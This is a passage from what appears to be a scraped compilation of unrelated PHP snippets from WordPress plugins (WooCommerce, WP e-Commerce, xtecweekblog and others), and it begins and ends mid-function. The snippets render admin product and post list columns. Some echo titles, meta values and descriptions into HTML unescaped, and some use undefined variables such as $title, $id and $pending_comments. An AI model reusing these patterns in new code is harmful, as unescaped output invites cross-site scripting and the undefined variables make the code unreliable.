            case 'name':
                $edit_link = get_edit_post_link($post->ID);
                $title = _draft_or_post_title();
                $post_type_object = get_post_type_object($post->post_type);
                $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
                echo '<strong><a class="row-title" href="' . esc_url($edit_link) . '">' . $title . '</a>';
                _post_states($post);
                echo '</strong>';
                if ($post->post_parent > 0) {
                    echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
                }
                // Excerpt view
                if (isset($_GET['mode']) && 'excerpt' == $_GET['mode']) {
                    echo apply_filters('the_excerpt', $post->post_excerpt);
                }
                // Get actions
                $actions = array();
                $actions['id'] = 'ID: ' . $post->ID;
                if ($can_edit_post && 'trash' != $post->post_status) {
                    $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item', TEXTDOMAIN)) . '">' . __('Edit', TEXTDOMAIN) . '</a>';
                    $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', TEXTDOMAIN)) . '">' . __('Quick&nbsp;Edit', TEXTDOMAIN) . '</a>';
                }
                if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                    if ('trash' == $post->post_status) {
                        $actions['untrash'] = '<a title="' . esc_attr(__('Restore this item from the Trash', TEXTDOMAIN)) . '" href="' . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . '">' . __('Restore', TEXTDOMAIN) . '</a>';
                    } elseif (EMPTY_TRASH_DAYS) {
                        $actions['trash'] = '<a class="submitdelete" title="' . esc_attr(__('Move this item to the Trash', TEXTDOMAIN)) . '" href="' . get_delete_post_link($post->ID) . '">' . __('Trash', TEXTDOMAIN) . '</a>';
                    }
                    if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                        $actions['delete'] = '<a class="submitdelete" title="' . esc_attr(__('Delete this item permanently', TEXTDOMAIN)) . '" href="' . get_delete_post_link($post->ID, '', true) . '">' . __('Delete Permanently', TEXTDOMAIN) . '</a>';
                    }
                }
                if ($post_type_object->public) {
                    if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                        if ($can_edit_post) {
                            $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;', TEXTDOMAIN), $title)) . '" rel="permalink">' . __('Preview', TEXTDOMAIN) . '</a>';
                        }
                    } elseif ('trash' != $post->post_status) {
                        $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;', TEXTDOMAIN), $title)) . '" rel="permalink">' . __('View', TEXTDOMAIN) . '</a>';
                    }
                }
                $actions = apply_filters('post_row_actions', $actions, $post);
                echo '<div class="row-actions">';
                $i = 0;
                $action_count = sizeof($actions);
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo '<span class="' . $action . '">' . $link . $sep . '</span>';
                }
                echo '</div>';
                get_inline_data($post);
                /* Custom inline data for bestbuy_bestsell */
                echo '<div class="hidden" id="bestbuy_bestsell_inline_' . $post->ID . '">
						<div class="menu_order">' . $post->menu_order . '</div>
						<div class="bestbuy_bestsell_price">' . $post_meta['current_market_price'][0] . '</div>
						</div>';
                break;
            case 'cmp':
                echo get_bestbuy_bestsell_product_price_html($post_meta) ? get_bestbuy_bestsell_product_price_html($post_meta) : '<span class="na">&ndash;</span>';
                break;
            case 'bestbuy_bestsell_product_category':
            case 'bestbuy_bestsell_product_tag':
                if (!($terms = get_the_terms($post->ID, $column))) {
                    echo '<span class="na">&ndash;</span>';
                } else {
                    foreach ($terms as $term) {
                        $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=inmid_product') . ' ">' . $term->name . '</a>';
                    }
                    echo implode(', ', $termlist);
                }
                break;
            default:
                break;
        }
    }
/**
 * Output HTML for the column of a specific xtecweekblog.
 * 
 * @param string $column Column name.
 * @param string $post_id Post ID.
 */
function xtecweekblog_custom_columns($column, $post_id)
{
    global $post;
    switch ($column) {
        case "_xtecweekblog-name":
            $custom = get_post_custom($post_id);
            echo '<strong>';
            echo '<span class="row-title" style="color:#21759B">' . $custom["_xtecweekblog-name"][0] . '</span>';
            _post_states($post);
            echo '</strong>';
            if (xtecweekblog_validate_name($post_id)) {
                // valid weekblog, print name and URL
                echo "<p><a href='" . network_site_url() . $custom["_xtecweekblog-name"][0] . "'>" . network_site_url() . $custom["_xtecweekblog-name"][0] . "</a></p>";
            } else {
                // invalid weekblog, print invalid name and notify
                echo '<p style="color:#FF0000">' . __('Invalid name', 'xtecweekblog') . '</p>';
            }
            // print row actions | extracted from WordPress 3.1.2 core
            $post_type_object = get_post_type_object($post->post_type);
            $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post_id);
            $actions = array();
            if ($can_edit_post && 'trash' != $post->post_status) {
                $actions['edit'] = '<a href="' . get_edit_post_link($post_id, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
            }
            if (current_user_can($post_type_object->cap->delete_post, $post_id)) {
                if ('trash' == $post->post_status) {
                    $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash', 'xtecweekblog')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post_id)), 'untrash-' . $post->post_type . '_' . $post_id) . "'>" . __('Restore', 'xtecweekblog') . "</a>";
                } elseif (EMPTY_TRASH_DAYS) {
                    $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash', 'xtecweekblog')) . "' href='" . get_delete_post_link($post_id) . "'>" . __('Trash', 'xtecweekblog') . "</a>";
                }
                if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                    $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently', 'xtecweekblog')) . "' href='" . get_delete_post_link($post_id, '', true) . "'>" . __('Delete Permanently', 'xtecweekblog') . "</a>";
                }
            }
            if (in_array($post->post_status, array('pending', 'draft'))) {
                if ($can_edit_post) {
                    $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post_id))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview', 'xtecweekblog') . '</a>';
                }
            } elseif ('trash' != $post->post_status) {
                $actions['view'] = '<a href="' . get_permalink($post_id) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;', 'xtecweekblog'), $custom["_xtecweekblog-name"][0])) . '" rel="permalink">' . __('View', 'xtecweekblog') . '</a>';
            }
            $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post);
            echo xtecweekblog_row_actions($actions);
            get_inline_data($post);
            break;
        case "_xtecweekblog-description":
            $custom = get_post_custom($post_id);
            if (xtecweekblog_validate_description($post_id)) {
                echo $custom["_xtecweekblog-description"][0];
            } else {
                echo '<p style="color:#FF0000">' . __('Description is not defined', 'xtecweekblog') . '</p>';
            }
            break;
        case 'thumbnail':
            if (xtecweekblog_validate_image($post_id)) {
                if (!xtecweekblog_validate_image_size($post_id)) {
                    echo '<p style="color:#FF0000">' . __('Image size is too small', 'xtecweekblog') . '</p>';
                }
                echo get_the_post_thumbnail($post_id, 'xtecweekblog');
            } else {
                echo '<p style="color:#FF0000">' . __('Custom Image is not defined', 'xtecweekblog') . '</p>';
            }
            break;
        case 'week':
            echo mysql2date('W', $post->post_date);
            break;
    }
}
Exemple #14
0
/**
 * Custom Columns for Products page
 *
 * @access public
 * @param mixed $column
 * @return void
 */
function woocommerce_custom_product_columns($column)
{
    global $post, $woocommerce, $the_product;
    if (empty($the_product) || $the_product->id != $post->ID) {
        $the_product = get_product($post);
    }
    switch ($column) {
        case "thumb":
            echo '<a href="' . get_edit_post_link($post->ID) . '">' . $the_product->get_image() . '</a>';
            break;
        case "name":
            $edit_link = get_edit_post_link($post->ID);
            $title = _draft_or_post_title();
            $post_type_object = get_post_type_object($post->post_type);
            $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID);
            echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>';
            _post_states($post);
            echo '</strong>';
            if ($post->post_parent > 0) {
                echo '&nbsp;&nbsp;&larr; <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>';
            }
            // Excerpt view
            if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') {
                echo apply_filters('the_excerpt', $post->post_excerpt);
            }
            // Get actions
            $actions = array();
            $actions['id'] = 'ID: ' . $post->ID;
            if ($can_edit_post && 'trash' != $post->post_status) {
                $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>';
                $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick&nbsp;Edit') . '</a>';
            }
            if (current_user_can($post_type_object->cap->delete_post, $post->ID)) {
                if ('trash' == $post->post_status) {
                    $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&amp;action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>";
                } elseif (EMPTY_TRASH_DAYS) {
                    $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>";
                }
                if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) {
                    $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>";
                }
            }
            if ($post_type_object->public) {
                if (in_array($post->post_status, array('pending', 'draft', 'future'))) {
                    if ($can_edit_post) {
                        $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('Preview') . '</a>';
                    }
                } elseif ('trash' != $post->post_status) {
                    $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;'), $title)) . '" rel="permalink">' . __('View') . '</a>';
                }
            }
            $actions = apply_filters('post_row_actions', $actions, $post);
            echo '<div class="row-actions">';
            $i = 0;
            $action_count = sizeof($actions);
            foreach ($actions as $action => $link) {
                ++$i;
                $i == $action_count ? $sep = '' : ($sep = ' | ');
                echo "<span class='{$action}'>{$link}{$sep}</span>";
            }
            echo '</div>';
            get_inline_data($post);
            /* Custom inline data for woocommerce */
            echo '
				<div class="hidden" id="woocommerce_inline_' . $post->ID . '">
					<div class="menu_order">' . $post->menu_order . '</div>
					<div class="sku">' . $the_product->sku . '</div>
					<div class="regular_price">' . $the_product->regular_price . '</div>
					<div class="sale_price">' . $the_product->sale_price . '</div>
					<div class="weight">' . $the_product->weight . '</div>
					<div class="length">' . $the_product->length . '</div>
					<div class="width">' . $the_product->width . '</div>
					<div class="height">' . $the_product->height . '</div>
					<div class="visibility">' . $the_product->visibility . '</div>
					<div class="stock_status">' . $the_product->stock_status . '</div>
					<div class="stock">' . $the_product->stock . '</div>
					<div class="manage_stock">' . $the_product->manage_stock . '</div>
					<div class="featured">' . $the_product->featured . '</div>
					<div class="product_type">' . $the_product->product_type . '</div>
					<div class="product_is_virtual">' . $the_product->virtual . '</div>
				</div>
			';
            break;
        case "sku":
            if ($the_product->get_sku()) {
                echo $the_product->get_sku();
            } else {
                echo '<span class="na">&ndash;</span>';
            }
            break;
        case "product_type":
            if ($the_product->product_type == 'grouped') {
                echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('Grouped', 'woocommerce') . '"></span>';
            } elseif ($the_product->product_type == 'external') {
                echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('External/Affiliate', 'woocommerce') . '"></span>';
            } elseif ($the_product->product_type == 'simple') {
                if ($the_product->is_virtual()) {
                    echo '<span class="product-type tips virtual" data-tip="' . __('Virtual', 'woocommerce') . '"></span>';
                } elseif ($the_product->is_downloadable()) {
                    echo '<span class="product-type tips downloadable" data-tip="' . __('Downloadable', 'woocommerce') . '"></span>';
                } else {
                    echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('Simple', 'woocommerce') . '"></span>';
                }
            } elseif ($the_product->product_type == 'variable') {
                echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('Variable', 'woocommerce') . '"></span>';
            } else {
                // Assuming that we have other types in future
                echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . ucwords($the_product->product_type) . '"></span>';
            }
            break;
        case "price":
            if ($the_product->get_price_html()) {
                echo $the_product->get_price_html();
            } else {
                echo '<span class="na">&ndash;</span>';
            }
            break;
        case "product_cat":
        case "product_tag":
            if (!($terms = get_the_terms($post->ID, $column))) {
                echo '<span class="na">&ndash;</span>';
            } else {
                foreach ($terms as $term) {
                    $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=product') . ' ">' . $term->name . '</a>';
                }
                echo implode(', ', $termlist);
            }
            break;
        case 'featured':
            $url = wp_nonce_url(admin_url('admin-ajax.php?action=woocommerce-feature-product&product_id=' . $post->ID), 'woocommerce-feature-product');
            echo '<a href="' . $url . '" title="' . __('Toggle featured', 'woocommerce') . '">';
            if ($the_product->is_featured()) {
                echo '<img src="' . $woocommerce->plugin_url() . '/assets/images/featured.png" alt="' . __('yes', 'woocommerce') . '" height="14" width="14" />';
            } else {
                echo '<img src="' . $woocommerce->plugin_url() . '/assets/images/featured-off.png" alt="' . __('no', 'woocommerce') . '" height="14" width="14" />';
            }
            echo '</a>';
            break;
        case "is_in_stock":
            if ($the_product->is_in_stock()) {
                echo '<mark class="instock">' . __('In stock', 'woocommerce') . '</mark>';
            } else {
                echo '<mark class="outofstock">' . __('Out of stock', 'woocommerce') . '</mark>';
            }
            if ($the_product->managing_stock()) {
                echo ' &times; ' . $the_product->get_total_stock();
            }
            break;
    }
}
Exemple #15
0
/**
 * Spits out the current products details in a table row for manage products page and variations on edit product page.
 * @access public
 *
 * @since 3.8
 * @param $product (Object), $parent_product (Int) Note: I believe parent_product is unused
 */
function wpsc_product_row(&$product, $parent_product = null)
{
    global $mode, $current_user;
    //is this good practice? <*****@*****.**>
    static $rowclass;
    $global_product = $product;
    setup_postdata($product);
    $product_post_type_object = get_post_type_object('wpsc-product');
    $current_user_can_edit_this_product = current_user_can($product_post_type_object->cap->edit_post, $product->ID);
    $rowclass = 'alternate' == $rowclass ? '' : 'alternate';
    $post_owner = $current_user->ID == $product->post_author ? 'self' : 'other';
    $edit_link = get_edit_post_link($product->ID);
    $title = get_the_title($product->ID);
    if (empty($title)) {
        $title = __('(no title)', 'wpsc');
    }
    ?>

	<tr id='post-<?php 
    echo $product->ID;
    ?>
' class='<?php 
    echo trim($rowclass . ' author-' . $post_owner . ' status-' . $product->post_status);
    ?>
 iedit <?php 
    if (get_option('wpsc_sort_by') == 'dragndrop') {
        echo 'product-edit';
    }
    ?>
' valign="top">
	<?php 
    $posts_columns = get_column_headers('wpsc-product_variants');
    if (empty($posts_columns)) {
        $posts_columns = array('image' => '', 'title' => __('Name', 'wpsc'), 'weight' => __('Weight', 'wpsc'), 'stock' => __('Stock', 'wpsc'), 'price' => __('Price', 'wpsc'), 'sale_price' => __('Sale Price', 'wpsc'), 'SKU' => __('SKU', 'wpsc'), 'hidden_alerts' => '');
    }
    foreach ($posts_columns as $column_name => $column_display_name) {
        $class = "class=\"{$column_name} column-{$column_name}\"";
        $attributes = "{$class}";
        switch ($column_name) {
            case 'date':
                /* !date case */
                if ('0000-00-00 00:00:00' == $product->post_date && 'date' == $column_name) {
                    $t_time = $h_time = __('Unpublished', 'wpsc');
                    $time_diff = 0;
                } else {
                    $t_time = get_the_time(__('Y/m/d g:i:s A', 'wpsc'));
                    $m_time = $product->post_date;
                    $time = get_post_time('G', true, $post);
                    $time_diff = time() - $time;
                    if ($time_diff > 0 && $time_diff < 24 * 60 * 60) {
                        $h_time = sprintf(__('%s ago', 'wpsc'), human_time_diff($time));
                    } else {
                        $h_time = mysql2date(__('Y/m/d', 'wpsc'), $m_time);
                    }
                }
                echo '<td ' . $attributes . '>';
                if ('excerpt' == $mode) {
                    echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode);
                } else {
                    echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
                }
                echo '<br />';
                if ('publish' == $product->post_status) {
                    _e('Published', 'wpsc');
                } elseif ('future' == $product->post_status) {
                    if ($time_diff > 0) {
                        echo '<strong class="attention">' . __('Missed schedule', 'wpsc') . '</strong>';
                    } else {
                        _e('Scheduled', 'wpsc');
                    }
                } else {
                    _e('Last Modified', 'wpsc');
                }
                echo '</td>';
                break;
            case 'title':
                /* !title case */
                $attributes = 'class="post-title column-title"';
                $edit_link = wp_nonce_url($edit_link, 'edit-product_' . $product->ID);
                ?>
		<td <?php 
                echo $attributes;
                ?>
>
			<strong>
			<?php 
                if ($current_user_can_edit_this_product && $product->post_status != 'trash') {
                    ?>
				<a class="row-title" href="<?php 
                    echo $edit_link;
                    ?>
" title="<?php 
                    echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;', 'wpsc'), $title));
                    ?>
"><?php 
                    echo $title;
                    ?>
</a>
				<?php 
                    if ($parent_product) {
                        ?>
					<input type="hidden" class="wpsc_ie_id wpsc_ie_field" value="<?php 
                        echo $product->ID;
                        ?>
">
					<input type="text" class="wpsc_ie_title wpsc_ie_field" value="<?php 
                        echo $title;
                        ?>
">
					<div class="wpsc_inline_actions"><input type="button" class="button-primary wpsc_ie_save" value="Save"><img src="<?php 
                        bloginfo('url');
                        ?>
/wp-admin/images/wpspin_light.gif" class="loading_indicator"><br/><input type="button" class="button-secondary cancel wpsc_ie_cancel" value="<?php 
                        _e('Cancel', 'wpsc');
                        ?>
"></div>
				<?php 
                    }
                    ?>
			<?php 
                } else {
                    echo $title;
                }
                _post_states($product);
                $product_alert = apply_filters('wpsc_product_alert', array(false, ''), $product);
                if (!empty($product_alert['messages'])) {
                    $product_alert['messages'] = implode("\n", (array) $product_alert['messages']);
                }
                if ($product_alert['state'] === true) {
                    ?>
				<img alt='<?php 
                    echo $product_alert['messages'];
                    ?>
' title='<?php 
                    echo $product_alert['messages'];
                    ?>
' class='product-alert-image' src='<?php 
                    echo WPSC_CORE_IMAGES_URL;
                    ?>
/product-alert.jpg' alt='' />
				<?php 
                }
                // If a product alert has stuff to display, show it.
                // Can be used to add extra icons etc
                if (!empty($product_alert['display'])) {
                    echo $product_alert['display'];
                }
                ?>
			</strong>
			<?php 
                $has_var = '';
                if (wpsc_product_has_children($product->ID)) {
                    $has_var = 'wpsc_has_variation';
                }
                $actions = array();
                if ($current_user_can_edit_this_product && 'trash' != $product->post_status) {
                    $actions['edit'] = '<a class="edit-product" href="' . $edit_link . '" title="' . esc_attr(__('Edit this product', 'wpsc')) . '">' . __('Edit', 'wpsc') . '</a>';
                    $actions['quick_edit'] = "<a class='wpsc_editinline " . $has_var . "' title='" . esc_attr(__('Quick Edit', 'wpsc')) . "' href='#'>" . __('Quick Edit', 'wpsc') . "</a>";
                }
                if (in_array($product->post_status, array('pending', 'draft'))) {
                    if ($current_user_can_edit_this_product) {
                        $actions['view'] = '<a href="' . get_permalink($product->ID) . '" title="' . esc_attr(sprintf(__('Preview &#8220;%s&#8221;', 'wpsc'), $title)) . '" rel="permalink">' . __('Preview', 'wpsc') . '</a>';
                    }
                } else {
                    if ('trash' != $product->post_status) {
                        $actions['view'] = '<a href="' . get_permalink($product->ID) . '" title="' . esc_attr(sprintf(__('View &#8220;%s&#8221;', 'wpsc'), $title)) . '" rel="permalink">' . __('View', 'wpsc') . '</a>';
                    }
                }
                $actions = apply_filters('post_row_actions', $actions, $product);
                $action_count = count($actions);
                $i = 0;
                echo '<div class="row-actions">';
                foreach ($actions as $action => $link) {
                    ++$i;
                    $i == $action_count ? $sep = '' : ($sep = ' | ');
                    echo "<span class='{$action}'>{$link}{$sep}</span>";
                }
                echo '</div>';
                get_inline_data($product);
                ?>
		</td>
		<?php 
                break;
            case 'image':
                /* !image case */
                ?>
			<td class="product-image ">
			<?php 
                $attached_images = (array) get_posts(array('post_type' => 'attachment', 'numberposts' => 1, 'post_status' => null, 'post_parent' => $product->ID, 'orderby' => 'menu_order', 'order' => 'ASC'));
                if (isset($product->ID) && has_post_thumbnail($product->ID)) {
                    echo get_the_post_thumbnail($product->ID, 'admin-product-thumbnails');
                } elseif (!empty($attached_images)) {
                    $attached_image = $attached_images[0];
                    $src = wp_get_attachment_url($attached_image->ID);
                    ?>
		     	<div style='width:38px;height:38px;overflow:hidden;'>
					<img title='Drag to a new position' src='<?php 
                    echo $src;
                    ?>
' alt='<?php 
                    echo $title;
                    ?>
' width='38' height='38' />
				</div>
				<?php 
                } else {
                    $image_url = WPSC_CORE_IMAGES_URL . "/no-image-uploaded.gif";
                    ?>
					<img title='Drag to a new position' src='<?php 
                    echo $image_url;
                    ?>
' alt='<?php 
                    echo $title;
                    ?>
' width='38' height='38' />
				<?php 
                }
                ?>
			</td>
			<?php 
                break;
            case 'price':
                /* !price case */
                $price = get_product_meta($product->ID, 'price', true);
                ?>
				<td  <?php 
                echo $attributes;
                ?>
>
					<?php 
                echo wpsc_currency_display($price);
                ?>
					<input type="text" class="wpsc_ie_field wpsc_ie_price" value="<?php 
                echo $price;
                ?>
">
				</td>
			<?php 
                break;
            case 'weight':
                $product_data['meta'] = array();
                $product_data['meta'] = get_post_meta($product->ID, '');
                foreach ($product_data['meta'] as $meta_name => $meta_value) {
                    $product_data['meta'][$meta_name] = maybe_unserialize(array_pop($meta_value));
                }
                $product_data['transformed'] = array();
                if (!isset($product_data['meta']['_wpsc_product_metadata']['weight'])) {
                    $product_data['meta']['_wpsc_product_metadata']['weight'] = "";
                }
                if (!isset($product_data['meta']['_wpsc_product_metadata']['weight_unit'])) {
                    $product_data['meta']['_wpsc_product_metadata']['weight_unit'] = "";
                }
                $product_data['transformed']['weight'] = wpsc_convert_weight($product_data['meta']['_wpsc_product_metadata']['weight'], "pound", $product_data['meta']['_wpsc_product_metadata']['weight_unit'], true);
                $weight = $product_data['transformed']['weight'];
                if ($weight == '') {
                    $weight = '0';
                }
                ?>
				<td  <?php 
                echo $attributes;
                ?>
>
					<span><?php 
                echo $weight;
                ?>
</span>
					<input type="text" class="wpsc_ie_field wpsc_ie_weight" value="<?php 
                echo $weight;
                ?>
">
				</td>
			<?php 
                break;
            case 'stock':
                $stock = get_post_meta($product->ID, '_wpsc_stock', true);
                ?>
				<td  <?php 
                echo $attributes;
                ?>
>
					<span><?php 
                echo $stock ? $stock : __('N/A', 'wpsc');
                ?>
</span>
					<input type="text" class="wpsc_ie_field wpsc_ie_stock" value="<?php 
                echo $stock;
                ?>
">
				</td>
	<?php 
                break;
            case 'categories':
                /* !categories case */
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                $categories = get_the_product_category($product->ID);
                if (!empty($categories)) {
                    $out = array();
                    foreach ($categories as $c) {
                        $out[] = "<a href='admin.php?page=wpsc-edit-products&amp;category={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . "</a>";
                    }
                    echo join(', ', $out);
                } else {
                    _e('Uncategorized', 'wpsc');
                }
                ?>
</td>
		<?php 
                break;
            case 'tags':
                /* !tags case */
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                $tags = get_the_tags($product->ID);
                if (!empty($tags)) {
                    $out = array();
                    foreach ($tags as $c) {
                        $out[] = "<a href='edit.php?tag={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>";
                    }
                    echo join(', ', $out);
                } else {
                    _e('No Tags', 'wpsc');
                }
                ?>
</td>
		<?php 
                break;
            case 'SKU':
                $sku = get_post_meta($product->ID, '_wpsc_sku', true);
                ?>
				<td  <?php 
                echo $attributes;
                ?>
>
					<span><?php 
                echo $sku ? $sku : __('N/A', 'wpsc');
                ?>
</span>
					<input type="text" class="wpsc_ie_field wpsc_ie_sku" value="<?php 
                echo $sku;
                ?>
">
				</td>
			<?php 
                break;
            case 'sale_price':
                $price = get_post_meta($product->ID, '_wpsc_special_price', true);
                ?>
				<td  <?php 
                echo $attributes;
                ?>
>
					<span><?php 
                echo wpsc_currency_display($price);
                ?>
</span>
					<input type="text" class="wpsc_ie_field wpsc_ie_special_price" value="<?php 
                echo $price;
                ?>
">
				</td>
			<?php 
                break;
            case 'comments':
                /* !comments case */
                ?>
		<td <?php 
                echo $attributes;
                ?>
><div class="post-com-count-wrapper">
		<?php 
                $pending_phrase = sprintf(__('%s pending', 'wpsc'), number_format($pending_comments));
                if ($pending_comments) {
                    echo '<strong>';
                }
                comments_number("<a href='edit-comments.php?p={$product->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count', 'wpsc') . '</span></a>', "<a href='edit-comments.php?p={$product->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count', 'wpsc') . '</span></a>', "<a href='edit-comments.php?p={$product->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count', 'wpsc') . '</span></a>');
                if ($pending_comments) {
                    echo '</strong>';
                }
                ?>
		</div></td>
		<?php 
                break;
            case 'author':
                /* !author case */
                ?>
		<td <?php 
                echo $attributes;
                ?>
><a href="edit.php?author=<?php 
                the_author_meta('ID');
                ?>
"><?php 
                the_author();
                ?>
</a></td>
		<?php 
                break;
            case 'control_view':
                /* !control view case */
                ?>
		<td><a href="<?php 
                the_permalink();
                ?>
" rel="permalink" class="view"><?php 
                _e('View', 'wpsc');
                ?>
</a></td>
		<?php 
                break;
            case 'control_edit':
                /* !control edit case */
                ?>
		<td><?php 
                if ($current_user_can_edit_this_product) {
                    echo "<a href='{$edit_link}' class='edit'>" . __('Edit', 'wpsc') . "</a>";
                }
                ?>
</td>
		<?php 
                break;
            case 'control_delete':
                /* !control delete case */
                ?>
		<td><?php 
                if ($current_user_can_edit_this_product) {
                    echo "<a href='" . wp_nonce_url("post.php?action=delete&amp;post={$id}", 'delete-post_' . $product->ID) . "' class='delete'>" . __('Delete', 'wpsc') . "</a>";
                }
                ?>
</td>
		<?php 
                break;
            case 'featured':
                /* !control featured case */
                ?>
			<td><?php 
                do_action('manage_posts_featured_column', $product->ID);
                ?>
</td>
		<?php 
                break;
            default:
                /* !default case */
                ?>
		<td <?php 
                echo $attributes;
                ?>
><?php 
                do_action('manage_posts_custom_column', $column_name, $product->ID);
                ?>
</td>
		<?php 
                break;
        }
    }
    ?>
	</tr>
<?php 
    $product = $global_product;
}
    /**
     * prints the individual row
     *
     * @param object $post
     * @param int $comment_pending_count
     * @param string $mode
     */
    protected function _manage_row($post, $comment_pending_count, $mode)
    {
        static $rowclass;
        $global_post = $post;
        setup_postdata($post);
        $rowclass = 'alternate' == $rowclass ? '' : 'alternate';
        $current_user = wp_get_current_user();
        $post_owner = $current_user->ID == $post->post_author ? 'self' : 'other';
        $edit_link = get_edit_post_link($post->ID);
        $title = _draft_or_post_title($post->ID);
        ?>
		<tr id='post-<?php 
        echo $post->ID;
        ?>
'	class='<?php 
        echo trim($rowclass . ' author-' . $post_owner . ' status-' . $post->post_status);
        ?>
 iedit'	valign="top">
			<?php 
        $posts_columns = get_column_headers($this->get_content_type());
        $hidden = get_hidden_columns($this->get_content_type());
        foreach ($posts_columns as $column_name => $column_display_name) {
            $class = "class=\"{$column_name} column-{$column_name}\"";
            $style = '';
            if (in_array($column_name, $hidden)) {
                $style = ' style="display:none;"';
            }
            $attributes = "{$class}{$style}";
            switch ($column_name) {
                case 'cb':
                    ?>
						<th scope="row" class="check-column"><?php 
                    if (current_user_can('edit_post', $post->ID)) {
                        ?>
<input	type="checkbox" name="post[]" value="<?php 
                        the_ID();
                        ?>
" /><?php 
                    }
                    ?>
</th>
						<?php 
                    break;
                    //end case 'cb'
                //end case 'cb'
                case 'date':
                    if ('0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name) {
                        $t_time = $h_time = __('Unpublished');
                        $time_diff = 0;
                    } else {
                        $t_time = get_the_time(__('Y/m/d g:i:s A'));
                        $m_time = $post->post_date;
                        $time = get_post_time('G', true, $post);
                        $time_diff = time() - $time;
                        if ($time_diff > 0 && $time_diff < 24 * 60 * 60) {
                            $h_time = sprintf(__('%s ago'), human_time_diff($time));
                        } else {
                            $h_time = mysql2date(__('Y/m/d'), $m_time);
                        }
                    }
                    echo '<td ' . $attributes . '>';
                    if ('excerpt' == $mode) {
                        echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode);
                    } else {
                        echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>';
                    }
                    echo '<br />';
                    if ('publish' == $post->post_status) {
                        _e('Published');
                    } elseif ('future' == $post->post_status) {
                        if ($time_diff > 0) {
                            echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                        } else {
                            _e('Scheduled');
                        }
                    } else {
